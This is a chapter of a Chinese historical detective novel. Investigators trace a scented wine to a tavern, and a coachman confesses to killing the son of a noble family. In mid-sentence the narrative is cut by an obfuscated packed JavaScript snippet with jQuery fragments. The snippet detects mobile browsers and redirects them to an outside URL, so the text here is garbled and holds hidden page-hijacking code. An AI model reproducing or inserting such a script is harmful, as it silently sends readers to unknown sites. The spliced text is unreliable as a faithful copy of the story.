宋硕的尸身连夜送到大理寺停尸房,慕容雪备好皂角、醋、葱白、红油伞等,一早开始第二轮验尸。
静园人多眼杂,诸多不便。到了验尸房,他脱下宋硕衣物,一寸一寸肌肤、一根一根发丝地验过去。约莫一个时辰后,他将尸身复原,盖上白布。除了颈部利器刺穿伤、左胸刀伤外,确无其它外伤。
“先生,您过目。”书吏孙雨呈上尸格,态度恭敬。宋硕尸身初现位置、衣着样貌、血液喷溅痕迹、伤口状态,皆记录得清晰分明。他一直有意拜慕容雪为师,只可惜此人孤僻,无心收徒,他便退而求其次做个书吏,只为慕容雪验尸时能够在旁观摩学习。
慕容雪点头表示认可,又让他取出另外两份尸格,分别属于裴萧与许少钦。
“先生,好像是李小姐来了。”
来人边走边打哈欠,正是李璟序无疑。见两人的目光向她抛来,李璟序晃了晃脑袋,加快步伐。越走近尸臭味越浓烈,她却浑然不觉,反而露出两排大白牙笑着问:“慕容大哥,许少钦的尸体验得如何,可有错处?”
慕容雪抽出那张尸格,视线在死因一栏短暂停留,微微颔首:“不错。”许少钦是被人自身后勒死,勒痕宽而大,不似一般绳索,凶器未定。
他静默注视李璟序,似乎是想从她身上找到故人影子。
见孙雨手上的三份尸格,李璟序知道慕容雪也将这三人的死联系到了一起。
裴萧在金瑞池泡了一夜,捞上来时尸身肿胀,面目难分,在这样的情况下他身上还有极其浓烈的酒味。据说在他下葬时,酒味都没散去。这是裴萧之死唯一一处疑点。可他口鼻内皆有淡红色水沫,确为溺死。
李璟序再将验尸格目反复翻看几遍,沉思半晌。眼见日上三竿,她问:“慕容大哥,裴萧手掌、指甲间可曾发现什么异物?”
慕容雪知道她是什么意思,答道:“金瑞池三年一修缮,上次修缮正是年前。池底以白石铺砌,并无半点杂草淤泥。光凭这个无法断定他是不是死在金瑞池。”
“他生前究竟喝了多少酒啊……”
静园留有几个侍卫在旁看护宋硕,听着这三人的注意力从自家少爷转移到裴萧身上,顿时有人跳出来质问:
“你们仨不好好查我家公子死因,反倒去讨论什么裴萧,是何道理?!”
慕容雪并未搭理。他虽身为仵作,却出身邺京四大世家之一的慕容家。他做这仵作,只为故友遗愿。
“去喝两杯吧?”
李璟序摇摇头,“舅舅从不让我饮酒。”
这一声舅舅脱口而出,两人顿时愣在原地。
慕容雪回过神来,沉声回道:“无妨,他若怪我,午夜梦回,尽管来找我问罪便是。”说罢,他大踏步而去。
李璟序揉揉酸涩的鼻尖,将尸格叠好,整整齐齐放回孙雨手中,又道了声谢,随即追上慕容雪。
两人一路走到安仁坊,眼见高楼独立,白日里也挂着各色彩灯,灯上写着“醉仙”二字。不知不觉,竟走到了醉仙楼。
李璟序环顾周遭,未见丹娘,也未见静园那几名舞姬。
慕容雪寻了个角落的位置坐下,叫住一名伙计,让他将楼内美酒尽数呈上。“记住,每种酒各来一壶,不必多,但要全。”
“好嘞!爷若是需要姑娘伺候,从这儿上二楼就成!”伙计指了指拐角处的楼梯,顺着他的目光看去,楼上莺歌燕舞,彩绸环绕,显得楼下格外朴素。
他正要拒绝,却见李璟序一个箭步冲了上去。
“小序!”
李璟序摆手,身影迅速消失在楼梯口。她看见了依靠在上房窗边的银色面具,她必须弄清楚安月为何会出现在醉仙楼!
可等她到楼上时,房内空无一人。只有窗前一杯茶、一副尚有余温的面具。
慕容雪已经酩酊大醉,手中的动作却未停下,起初他还是先闻酒香,再品酒味,到后面只是大口地往肚中灌酒,一壶又一壶,近乎麻木,丝毫不停歇。
李璟序在他身侧收拾桌上残局,零零散散的酒瓶中只有一只半满,立着。她把酒瓶拿到远处仔细闻了闻,除了刺鼻的酒气,还有一股淡淡的甜香。这甜香极为熟悉,与裴萧身上的酒味相似,可她说不出这相似之感来自何处。
就在她仰起脑袋准备喝一口尝尝的时候,慕容雪的声音传过来:“是芙蕖。”
“芙蕖?”眼下正是寒冬,怎会有芙蕖入酒?
“是,是芙蕖……”他摇摇晃晃起身,走近她身边,指着酒瓶上的字,佳人酿。
李璟序没来由地打了个寒颤。
眼瞧慕容雪站不稳了,她赶忙喊来一名伙计,指了指先前那间上房,吩咐道:“送他上去休息。”又从慕容雪怀中摸出一锭银子递到他手里,“莫让旁人进去扰他清静,晚些时候自会有人来接。”
“得嘞!”伙计利落地扶着慕容雪上楼,李璟序则在酒楼继续转悠。
说来也怪,明明昨日才来过这里,今日再来竟连一张熟面孔都找不到。她索性捏着酒壶随意拉住一名小厮,问:“这是什么酒?”
小厮不解,指了指上面的标签:“回小姐的话,佳人酿。”
“因何得名?”
“这小的便不知道了,打小的来,这酒就叫这名儿。”
“你来多久了?”
小厮掐指一算:“得有二三年了。”
李璟序摸摸袖子,抽出两粒碎银子递给他:“多谢小哥儿,敢问这楼里来的最久的是哪位?”
这小厮本就趁着与她搭话偷闲暗自高兴,眼下得了银钱更加热情,领着李璟序就往后院走,“那得是车夫老马啊,自打醉仙楼建起来那天起,老马就跟在东家身边啦!”
醉仙楼建成至今八年,说起来,建成那日舅舅还带她来讨过一碗新茶吃。
今天无人出行,用不着车,老马便坐在马厩旁休息,看三匹健壮的马儿嚼草。
“老马,有位小姐找您!”将李
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16367887|183893||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
璟序带到,小厮边喊边回头,出了后院。
老马惊喜抬眼,看清来人模样后微不可查地低下头,含糊应了一声后继续看马儿吃草。
“您就是马叔?”李璟序靠近,把酒递过去,“不知马叔可尝过这佳人酿?”
“什么叔不叔的,老头子孤家寡人一个,不敢同您攀亲带故。你和小六他们一样,叫我老马就成。”他没看佳人酿,语气颇为不耐烦。
“这醉仙楼就您一位车夫吗?”
他斜瞥她一眼,“怎么,小姐是怕老头子年纪大了,驾不动车?”
李璟序笑着摆手,“叔说笑了,我看您身强体壮,便是十几个姑娘一同上车,您也拉得动呢!”
周遭气息一凝,老马转过头,冷冷问:“你什么意思?”
李璟序原本只想问他关于佳人酿的来历,但从一进后院她便注意到此人不对劲之处,故而开始试探。
若前夜他带着舞姬们去的静园,那案发时他极有可能在场。
思及此,她取出大理寺铜牌,面色一凝:“马叔,随我走一趟大理寺吧。”
李璟序心下正暗自担忧,若他拒不配合,自己能不能制得住这老车夫。不料老马已然站起来朝她弓了弓身:“有劳带路。”
她一愣,这是?
然而就是她这一愣,老马直接跪了下来,“求你,带我去大理寺!”
李璟序连忙俯身搀住他的胳膊,“您这是何意?”马叔为什么在听到大理寺后反应这样大?再结合初见面时他一闪而过的惊喜,她有个大胆的猜测。而这猜测会让他的嫌疑更加深重。
她凝视着老人浑浊的眼瞳,一字一句问:“您是碧儿的父亲,对吗?”
紧绷的弦就这么断裂,老马整个人瘫软下去,先前的冷漠与戒备荡然无存,只剩哽咽:“是我,都是我,是我杀了那个畜牲,碧儿是无辜的啊!差老爷,你们放了她……”
话音未落,不知从何处冲进来一队官兵,将两人团团围住。为首的男子信步而来,边走边漫不经心地整理衣带,俊魅的脸上带着张扬的笑意。
“来人,将杀害宋大公子的凶手给本少爷拿下去!”
李璟序一口银牙几欲咬碎,破口大骂:“方扶析,你干什么!”
“自然是办案呐!”方扶析挑眉。
他本在楼上饮酒作乐,酒兴正酣便见李璟序和慕容雪一前一后走进醉仙楼。这两个最是无趣之人竟结伴来此,他自然要瞧个究竟,果不其然,又是为了查案。
那慕容雪已然醉得不省人事,而李璟序晃了一会儿却进了后院,他灵机一动,当即让随从去京都府喊来官兵,好及时拿人。京都府离安仁坊不过一条街,很快齐活,正好碰上凶手认罪,一刻不曾耽误。
方扶析越想越觉得自己在办案这一方面简直就是个不世出的天才,爹给他安排这差事再合适不过!
李璟序叹了口气。“别闹了,这案子没这么简单,你让我带马叔去一趟大理寺。”